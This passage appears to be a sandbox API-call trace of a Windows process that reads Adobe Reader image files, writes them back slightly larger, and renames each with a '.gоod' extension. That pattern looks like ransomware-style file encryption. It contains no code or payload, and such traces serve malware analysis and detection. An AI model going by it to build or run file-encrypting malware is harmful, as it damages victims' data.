ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6535f014, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0176.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0176.158] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-left.png.gоod")) returned 1 [0176.159] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", lpFilePart=0x0) returned 0x84 [0176.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0176.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png"), fInfoLevelId=0x0, lpFileInformation=0x39387b0 | out: lpFileInformation=0x39387b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a)) returned 1 [0176.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0176.159] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", lpFilePart=0x0) returned 0x84 [0176.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0176.159] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0176.159] GetFileType (hFile=0x808) returned 0x1 [0176.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0176.159] GetFileType (hFile=0x808) returned 0x1 [0176.159] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x12a [0176.159] ReadFile (in: hFile=0x808, lpBuffer=0x3938c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x3938c88*, lpNumberOfBytesRead=0x1fdea558*=0x12a, lpOverlapped=0x0) returned 1 [0176.160] CloseHandle (hObject=0x808) returned 1 [0177.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", lpFilePart=0x0) returned 0x84 [0177.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0177.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0177.383] GetFileType (hFile=0x7f8) returned 0x1 [0177.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0177.383] GetFileType (hFile=0x7f8) returned 0x1 [0177.383] WriteFile (in: hFile=0x7f8, lpBuffer=0x3547528*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3547528*, lpNumberOfBytesWritten=0x1fdea468*=0x130, lpOverlapped=0x0) returned 1 [0177.901] CloseHandle (hObject=0x7f8) returned 1 [0177.901] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png", lpFilePart=0x0) returned 0x84 [0177.901] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png.gоod", lpFilePart=0x0) returned 0x89 [0177.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0177.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6640f579, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0177.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0177.902] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-right.png.gоod")) returned 1 [0177.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", lpFilePart=0x0) returned 0x81 [0177.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0177.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png"), fInfoLevelId=0x0, lpFileInformation=0x351e8b8 | out: lpFileInformation=0x351e8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128)) returned 1 [0177.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0177.903] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", lpFilePart=0x0) returned 0x81 [0177.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0177.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0177.903] GetFileType (hFile=0x7f8) returned 0x1 [0177.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0177.903] GetFileType (hFile=0x7f8) returned 0x1 [0177.903] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x128 [0177.903] ReadFile (in: hFile=0x7f8, lpBuffer=0x351ed78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x351ed78*, lpNumberOfBytesRead=0x1fdea558*=0x128, lpOverlapped=0x0) returned 1 [0177.904] CloseHandle (hObject=0x7f8) returned 1 [0179.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", lpFilePart=0x0) returned 0x81 [0179.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0179.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0179.558] GetFileType (hFile=0x7f8) returned 0x1 [0179.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0179.558] GetFileType (hFile=0x7f8) returned 0x1 [0179.558] WriteFile (in: hFile=0x7f8, lpBuffer=0x36fa330*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x36fa330*, lpNumberOfBytesWritten=0x1fdea468*=0x130, lpOverlapped=0x0) returned 1 [0179.559] CloseHandle (hObject=0x7f8) returned 1 [0179.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png", lpFilePart=0x0) returned 0x81 [0179.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png.gоod", lpFilePart=0x0) returned 0x86 [0179.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0179.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x673cfb2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0179.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0179.559] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\arrow-up.png.gоod")) returned 1 [0179.560] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0179.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0179.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x36fb728 | out: lpFileInformation=0x36fb728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107)) returned 1 [0179.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0179.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0179.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0179.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0179.561] GetFileType (hFile=0x7f8) returned 0x1 [0179.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0179.561] GetFileType (hFile=0x7f8) returned 0x1 [0179.561] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x107 [0179.561] ReadFile (in: hFile=0x7f8, lpBuffer=0x36fbbe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x36fbbe8*, lpNumberOfBytesRead=0x1fdea558*=0x107, lpOverlapped=0x0) returned 1 [0179.562] CloseHandle (hObject=0x7f8) returned 1 [0179.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0179.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0179.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0179.597] GetFileType (hFile=0x7f8) returned 0x1 [0179.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0179.597] GetFileType (hFile=0x7f8) returned 0x1 [0179.597] WriteFile (in: hFile=0x7f8, lpBuffer=0x3773878*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3773878*, lpNumberOfBytesWritten=0x1fdea468*=0x110, lpOverlapped=0x0) returned 1 [0180.279] CloseHandle (hObject=0x7f8) returned 1 [0180.279] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0180.279] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png.gоod", lpFilePart=0x0) returned 0x8b [0180.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0180.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67ac14e5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0180.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0180.280] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\hscroll-thumb.png.gоod")) returned 1 [0180.281] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0180.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0180.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png"), fInfoLevelId=0x0, lpFileInformation=0x36e3ce0 | out: lpFileInformation=0x36e3ce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114)) returned 1 [0180.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0180.281] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0180.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0180.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0180.282] GetFileType (hFile=0x7f8) returned 0x1 [0180.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0180.282] GetFileType (hFile=0x7f8) returned 0x1 [0180.282] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x114 [0180.282] ReadFile (in: hFile=0x7f8, lpBuffer=0x36e41b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x36e41b0*, lpNumberOfBytesRead=0x1fdea558*=0x114, lpOverlapped=0x0) returned 1 [0180.283] CloseHandle (hObject=0x7f8) returned 1 [0180.654] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png", lpFilePart=0x0) returned 0x86 [0180.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0180.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win-scrollbar\\themes\\dark\\vscroll-thumb.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0180.657] GetFileType (hFile=0x6e0) returned 0x1 [0180.657] SetThreadErrorMode (dwNewMode=0x0, 